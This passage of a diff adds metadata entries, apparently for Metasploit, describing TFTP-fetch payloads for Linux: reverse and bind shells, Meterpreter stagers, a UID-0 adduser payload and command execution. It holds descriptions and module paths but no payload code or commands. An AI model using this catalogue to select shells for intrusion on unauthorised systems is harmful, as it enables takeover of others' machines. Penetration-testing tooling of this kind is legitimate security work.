"ricky", + "RageLtMan " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell/reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_sctp" + }, + "payload_cmd/linux/tftp/x64/shell/reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky", + "tkmru" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_tcp" + }, + "payload_cmd/linux/tftp/x64/shell_bind_ipv6_tcp": { + "name": "TFTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "epi " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for an IPv6 connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_bind_ipv6_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x64/shell_bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_bind_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x64/shell_bind_tcp_random_port": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp_random_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Geyslan G. Bem " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp_random_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_bind_tcp_random_port", + "staged": false + }, + "payload_cmd/linux/tftp/x64/shell_find_port": { + "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_find_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "mak" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a shell on an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_find_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_find_port", + "staged": false + }, + "payload_cmd/linux/tftp/x64/shell_reverse_ipv6_tcp": { + "name": "TFTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "epi " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_reverse_ipv6_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x64/shell_reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_reverse_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x86/adduser": { + "name": "TFTP Fetch, Linux Add User", + "fullname": "payload/cmd/linux/tftp/x86/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "vlad902 ", + "spoonm " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nCreate a new user with UID 0", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/adduser", + "staged": false + }, + "payload_cmd/linux/tftp/x86/chmod": { + "name": "TFTP Fetch, Linux Chmod", + "fullname": "payload/cmd/linux/tftp/x86/chmod", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "kris katterjohn " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nRuns chmod on specified file with specified mode", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/chmod", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/chmod", + "staged": false + }, + "payload_cmd/linux/tftp/x86/exec": { + "name": "TFTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/tftp/x86/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "vlad902 ", + "Geyslan G. Bem " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell", + "references": [ + "URL-https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm", + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm" + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/exec", + "staged": false + }, + "payload_cmd/linux/tftp/x86/generic/debug_trap": { + "name": "TFTP Fetch, Generic x86 Debug Trap", + "fullname": "payload/cmd/linux/tftp/x86/generic/debug_trap", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "robert " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nGenerate a debug trap in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/generic/debug_trap", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "generic/debug_trap", + "staged": false + }, + "payload_cmd/linux/tftp/x86/generic/tight_loop": { + "name": "TFTP Fetch, Generic x86 Tight Loop", + "fullname": "payload/cmd/linux/tftp/x86/generic/tight_loop", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "jduck " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nGenerate a tight loop in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/generic/tight_loop", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "generic/tight_loop", + "staged": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp": { + "name": "TFTP Fetch, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for an IPv6 connection (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp" + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp": { + "name": "TFTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_nonx_tcp" + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp": { + "name": "TFTP Fetch, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp" + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid": { + "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp_uuid" + }, + "payload_cmd/linux/tftp/x86/meterpreter/find_tag": { + "name": "TFTP Fetch, Find Tag Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nUse an established connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/find_tag", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/find_tag" + }, + "payload_cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker over IPv6", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_ipv6_tcp" + }, + "payload_cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_nonx_tcp" + }, + "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "tkmru" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp" + }, + "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp_uuid" + }, + "payload_cmd/linux/tftp/x86/meterpreter_reverse_http": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_http", + "staged": false + }, + "payload_cmd/linux/tftp/x86/meterpreter_reverse_https": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_https", + "staged": false + }, + "payload_cmd/linux/tftp/x86/meterpreter_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x86/metsvc_bind_tcp": { + "name": "TFTP Fetch, Linux Meterpreter Service, Bind TCP", + "fullname": "payload/cmd/linux/tftp/x86/metsvc_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "hdm " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nStub payload for interacting with a Meterpreter Service", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/metsvc_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/metsvc_bind_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x86/metsvc_reverse_tcp": { + "name": "TFTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x86/metsvc_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "hdm " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nStub payload for interacting with a Meterpreter Service", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": 